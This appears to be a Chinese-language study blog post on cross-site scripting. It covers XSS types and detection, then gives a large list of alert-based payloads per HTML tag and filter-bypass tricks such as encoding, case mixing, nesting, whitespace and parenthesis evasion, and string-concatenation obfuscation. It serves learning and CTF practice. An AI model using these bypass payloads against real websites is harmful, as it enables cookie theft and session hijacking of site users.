xss基础
一.xss概述
1.定义:
XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表 (Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
成因:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植 入到提供给其它用户使用的页面中,而程序对输入和输出的控制不够严格,导致“精心构造” 的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害。当受害者访问 这些页面时,浏览器会解析并执行这些恶意代码。
XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过其他用户本地 浏览器执行的,所以XSS漏洞关键就是寻找参数未过滤的输出函数
2.XSS常见危害
网络钓鱼,盗取各类用户的账号,如机器登录帐号、用户网银帐号、各类管理员帐号。
窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作。
劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等。
强制弹出广告页面,刷流量等。
进行恶意操作,例如任意篡改页面信息,删除文章等,传播跨站脚本蠕虫,网页挂马等。
进行基于大量的客户端攻击,如DDOS攻击。
结合其它漏洞,如CSRF漏洞,进一步渗透网站。
获取客户端信息,例如用户的浏览历史、真实IP、开放端口等。
控制受害者机器向其他网站发起攻击。
传播跨站脚本蠕虫等。
3.XSS检测方法
在目标站点上找到输入点,比如查询接口,留言板等
输入一组“特殊字符+唯一标识字符”,提交查看返回的源码,是否有做对应的处理
通过搜索定位到特征字符,结合特征字符前后语法确定是否可以构造执行js
提交构造的脚本代码,查看是否可以成功执行,如果成功执行则说明存在xss漏洞
XSS漏洞常见位置:反馈与浏览、富文本编辑器、各类标签插入和自定义、用户资料、 关键词、说明、文件上传等处
二.分类
[!NOTE]
分为存储型xss、反射型xss、DOM型xss
下面我们来一一概述()
1.反射型xss
通过给别人发送带有恶意脚本代码参数的URL, 欺骗用户点击链接,当用户单击时触发,特有的恶意代码参数被HTML解析、执行, 这类跨站的代码通常不存储于服务端。
常见XSS点:网站的搜索栏、用户登录入口、输入表单等地方,漏洞点简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的数据中存在可被浏览器执行的代码数据。
特点:非持久化,经过后端,但不存入数据库。
总而言之;
- 恶意脚本存在于URL参数中
- 通过HTTP请求立即执行,不存储在服务器
- 需要诱骗用户点击恶意链接
- 影响范围相对较小
eg.初学还没遇见,后面再补 (XssLab)
2.存储型xss
比反射型XSS更具有威胁性。恶意代码会存储在服务器中,如在 个人信息或发表文章等地方,加入恶意代码,如果没有过滤或过滤不严,那么这些代码将储存到服务 器中,每当有用户访问该页面的时候都会触发代码执行.
常见XSS点:论坛、博客、留言板、评论、日志等交互处,这些地方有个明显的特征,就是功能页面 .几乎大多数用户都能轻易看到。
区别:存储型XSS和反射型XSS利用方式完全一样。判断存储型XSS只需要重新打开当前页面,若弹 窗还是出现,说明恶意语句被存储在服务器上,即为存储型。
总而言之:
-
- 恶意脚本存储在后端中(数据库、日志文件、评论等)
- 持久性攻击,影响所有访问相关页面的用户
- 危害最大,传播范围广
- 不需要用户主动触发
eg.rois2025challenge“我要不停地实践你”两件套
3.DOM型xss
文档对象模型Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分
DOM型xss其实是一种特殊类型的反射型xss,也被称作本地跨站,它是基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,出发XSS靠的是浏览器的DOM解析,完全是客户端的事情
DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。
基于DOM的XSS是反射的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其他防护检测不出恶意内容。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含xss代码。服务器的响应不会以任何的形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理xss代码,导致存在xss漏洞。
总而言之:
- 完全在客户端执行
- 不涉及服务器端代码
- 通过JavaScript修改DOM结构触发
- HTTP响应中不包含恶意脚本
eg.没见过,见过再补充()
4.二编)JSONP型XSS
在浏览器的同源策略下,前端 JavaScript不能直接跨域请求 AJAX(一种无需刷新页面就能向服务器发送和接收数据的技术),但可以利用 <script> 标签(允许跨域加载特性)进行跨域请求(允许从一个域名中获取到另一个域名的数据),从而绕过浏览器同源策略限制
后端返回的是带回调函数的 JSON 数据,前端利用回调函数callback解析数据
攻击者可以==伪造回调函数,利用 JSONP 执行任意 JavaScript 代码
eg.窃取受害者cookie
1 | <script src="https://example.com/api?callback=evilFunction"></script> |
三.xss实战
1.常用标签
0x01. a 标签
1 | <a href="javascript:alert(1)">test</a> |
0x02. img标签
1 | <img src=x onerror="alert(1)"> |
0x03. iframe标签
1 | <iframe src="javascript:alert(1)">test</iframe> |
0x04. <audio 标签
1 | <audio src=1 onerror=alert(1)> |
0x05. <video标签
1 | <video src=x onerror=alert(1)> |
0x06. <svg标签
1 | <svg onload=javascript:alert(1)> |
0x07. button 标签
1 | <button onclick=alert(1)> |
0x08. div标签
这个需要借助url编码来实现绕过
1 | 原代码: |
0x09. <object标签
这个需要借助 data 伪协议和 base64 编码来实现绕过
1 | <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object> |
0x10. script 标签
(窝用过最多的)(doge)
1 | <script>alert('xss')</script> |
0x11. p 标签
(骗你的,窝也没用过)
1 | <p onclick="alert('xss');">xss</p> |
0x12. input 标签
1 | <input onclick="alert('xss');"> |
0x13. details标签
1 | <details ontoggle="alert('xss');"></details> |
0x14. <select 标签
1 | <select onfocus="alert('xss');" autofocus></select> |
0x15. <form 标签
1 | <form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form> |
0x16. <body标签
1 | <body onload="alert('xss');"></body> |
2.常用绕过姿势汇总
1.关键词置空绕过
注:置空指将关键词替换成空格,当过滤为其他字符时该方法不再适用,得考虑对字符做处理
0x01. 大小写绕过
1 | <script>alert(/xss/)</script> |
可以转换为
1 | <ScRiPt>AlErT(/xss/)</sCrIpT> |
(当然有些时候会强制转换大小写,例如raw=raw.lower(),这样大小写绕过就不管用了QAQ)
0x02. 嵌套绕过
嵌套突破
1 | <script>alert(/xss/)</script> |
可以转换为
1 | <sc<script>ript>alert(/xss/)</sc</script>ript> |
2.编码绕过
我们已知浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)
因此我们可以对此使用编码绕过。
1. html 实体编码
当可控点为单个标签属性时,可以使用 html 实体编码。
1 | <a href="可控点">test</a> |
Payload
1 | <a href="javascript:alert(1)">test</a> |
十进制
1 | <a href="javascript:alert(1)">test</a> |
十六进制
1 | <a href="javascript:alert(1)">test</a> |
可以不带分号
1 | <a href="javascript:alert(1)">test</a> |
可以填充0
1 | <a href="javascript:alert(1)">test</a> |
2. url 编码
当注入点存在 href 或者 src 属性时,可以使用 url 编码。
1 | <a href="可控点">test</a> |
Payload
1 | <a href="javascript:alert(1)">test</a> |
注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。
1 | <a href="javascript:%61%6c%65%72%74%28%31%29">test</a> |
可以二次编码
1 | <a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a> |
3.js编码
先空着(doge)
3.空格过滤绕过
1 | <html><img**AA**src**AA**onerror**BB**=**BB**alert**CC**(1)**DD**</html> |
A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>
4.圆括号过滤绕过
- 反引号替换(比较常见),单引号过滤也可以用` 绕过
1 | <script>alert`1`</script> |
- throw 绕过(个人没用过)
1 | <video src onerror="javascript:window.onerror=alert;throw 1"> |
onload:当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码
window.onerror = eval;:window.onerror 是一个全局的错误处理函数,当 JavaScript 执行时发生错误,它会被调用。通过将其设置为 eval,攻击者可以劫持错误处理并执行恶意的 JavaScript 代码
throw '=alert\x281\x29';:这行代码通过 throw 抛出一个异常alert(1)
5.alert 过滤绕过
1.prompt 替换
1 | <script>prompt(/xss/)</script> |
2.confirm 替换
1 | <script>confirm(/xss/)</script> |
3.console.log 替换
1 | <script>console.log(3)</script> |
4.document.write 替换
1 | <script>document.write(1)</script> |
- base64 绕过
1 | <img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"> |
6.函数拼接绕过
- eval
1 | <img src="x" onerror="eval('al'+'ert(1)')"> |
- top
1 | <img src="x" onerror="top['al'+'ert'](1)"> |
- window
1 | <img src="x" onerror="window['al'+'ert'](1)"> |
- self
1 | <img src="x" onerror="self[`al`+`ert`](1)"> |
- parent
1 | <img src="x" onerror="parent[`al`+`ert`](1)"> |
- frames
1 | <img src="x" onerror="frames[`al`+`ert`](1)"> |
7.分割关键字绕过
通过在关键字中插入空格或注释符号( /**/)来分隔函数名
1 | a/**/l/**/ert(1) |
长度限制绕过
用拆分法
1 | <script>a='document.write("'</script> |
用嵌套结构
1 | <img src=1 onerror="document.write('<img src=1 onerror=alert(1)>')"> |
分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
1 | <script>{onerror=alert}throw 1</script> |
当浏览器遇到 throw 1 时,它会抛出一个错误
抛出错误时,onerror 事件会被触发,因为我们之前将 onerror 设置为了 alert 函数
结果是,浏览器会弹出一个对话框,显示 1,这就是 alert(1) 的效果
未来再补充
Leave a comment